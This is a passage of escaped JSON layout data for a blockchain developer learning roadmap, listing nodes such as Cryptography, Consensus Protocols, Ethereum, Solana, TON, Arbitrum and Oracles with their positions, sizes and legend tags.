\"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": -791.6381872719935,\n        \"y\": 204.90074822234885\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E9HR_voxQ2a2tvWUuva_p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -791.6381872719935,\n        \"y\": 257.90074822234885\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decentralization vs Trust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": -791.6381872719935,\n        \"y\": 257.90074822234885\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L08v-78UsEhcg-mZtMVuk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -791.6381872719935,\n        \"y\": 310.90074822234885\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Blockchain Forking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": -791.6381872719935,\n        \"y\": 310.90074822234885\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s1QqQc0We5yQaNF3Ogt4k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -791.6381872719935,\n        \"y\": 363.90074822234885\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cryptocurrencies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": -791.6381872719935,\n        \"y\": 363.90074822234885\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FSThY0R1OAZCIL98W3AMj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -791.6381872719935,\n        \"y\": 416.9007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cryptowallets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": -791.6381872719935,\n        \"y\": 416.9007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e_I-4Q6_qIW09Hcn-pgKm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -4.638187271993388,\n        \"y\": 203.9007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cryptography\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -4.638187271993388,\n        \"y\": 203.9007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_BkpK9qgp9up8nXNH7q4m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -4.638187271993388,\n        \"y\": 256.9007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Consensus Protocols\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268\n      },\n      \"positionAbsolute\": {\n        \"x\": -4.638187271993388,\n        \"y\": 256.9007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nNPa6jKRUaitmHwBip_LE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -4.638187271993388,\n        \"y\": 309.9007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Blockchain Interoperability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -4.638187271993388,\n        \"y\": 309.9007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JYHK95Xr0R1MVCda1Epl6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -793.1381872719934,\n        \"y\": 498.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Solana\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -793.1381872719934,\n        \"y\": 498.40074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ug4FB4RXItHU0ADnisvve\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -686.1381872719934,\n        \"y\": 498.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TON\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -686.1381872719934,\n        \"y\": 498.40074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tSJyp46rkJcOtDqVpJX1s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -792.6381872719935,\n        \"y\": 573.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"EVM-Based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"i_Dw3kUZ7qKPG-tk-sFPf\",\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -792.6381872719935,\n        \"y\": 573.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EQgb4LqXnyq3gOX7Fb85s\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -479.1381872719935,\n        \"y\": 498.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Blockchains\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -479.1381872719935,\n        \"y\": 498.40074822234897\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JLXIbP-y8C2YktIk3R12m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -786.1381872719935,\n        \"y\": 634.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ethereum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -786.1381872719935,\n        \"y\": 634.400748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JNilHFQnnVDOz-Gz6eNo5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -667.1381872719935,\n        \"y\": 634.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Polygon\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -667.1381872719935,\n        \"y\": 634.400748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sJj-6wG5KjjzYYia_eo63\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -786.1381872719935,\n        \"y\": 687.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Binance Smart Chain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -786.1381872719935,\n        \"y\": 687.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UQ9AejYV6_Sk6ZJkXYWf7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -786.1381872719935,\n        \"y\": 740.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gnosis Chain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -786.1381872719935,\n        \"y\": 740.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PkRAYBZQAUAHxWEeCCX4U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -786.1381872719935,\n        \"y\": 793.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Huobi Eco Chain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -786.1381872719935,\n        \"y\": 793.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"txQ9U1wcnZkQVh6B49krk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -785.1381872719935,\n        \"y\": 846.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Avalanche\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -785.1381872719935,\n        \"y\": 846.400748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"trcGwYcFW5LQUUrAcbUf_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -667.1381872719935,\n        \"y\": 846.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fantom\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -667.1381872719935,\n        \"y\": 846.400748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VVbvueVMJKLUoJYhbJB1z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -785.1381872719935,\n        \"y\": 900.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Moonbeam / Moonriver\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -785.1381872719935,\n        \"y\": 900.400748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YC385OLECWjpZjVeWKksO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -529.6381872719935,\n        \"y\": 635.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Everscale\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3HCpgWWPIkhK3gPRJuJQf\",\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -529.6381872719935,\n        \"y\": 635.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5MGtl00EEZdSnJdrNYPJ7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -415.6381872719935,\n        \"y\": 635.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gosh\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -415.6381872719935,\n        \"y\": 635.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4tAyunbYVwlbzybuVq7fr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -415.6381872719935,\n        \"y\": 688.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TON\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3HCpgWWPIkhK3gPRJuJQf\",\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -415.6381872719935,\n        \"y\": 688.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3HCpgWWPIkhK3gPRJuJQf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -527.6381872719935,\n        \"y\": 688.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Venom\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -527.6381872719935,\n        \"y\": 688.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"miBEG3x_foKYxwfX4Tr4f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -544.1381872719935,\n        \"y\": 573.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TVM-Based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"g\"\n        },\n        \"oldId\": \"hlcavpstLnXkJcjccQUL8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -544.1381872719935,\n        \"y\": 573.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i_Dw3kUZ7qKPG-tk-sFPf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -544.1381872719935,\n        \"y\": 750.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"L2 Blockchains\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -544.1381872719935,\n        \"y\": 750.7007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ixTIn2Uhs-i5-UPt9jKAa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -534.1381872719935,\n        \"y\": 813.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Arbitrum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ib9STGxQa8yeoB-GFeGDE\",\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -534.1381872719935,\n        \"y\": 813.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ib9STGxQa8yeoB-GFeGDE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -534.1381872719935,\n        \"y\": 867.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Moonbeam / Moonriver\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -534.1381872719935,\n        \"y\": 867.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hlcavpstLnXkJcjccQUL8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -544.1381872719935,\n        \"y\": 573.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TVM-Based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"i_Dw3kUZ7qKPG-tk-sFPf\",\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -544.1381872719935,\n        \"y\": 573.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sK8G-41D3EfYNSLFJ3XYf\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -226.6381872719934,\n        \"y\": 470.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Oracles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 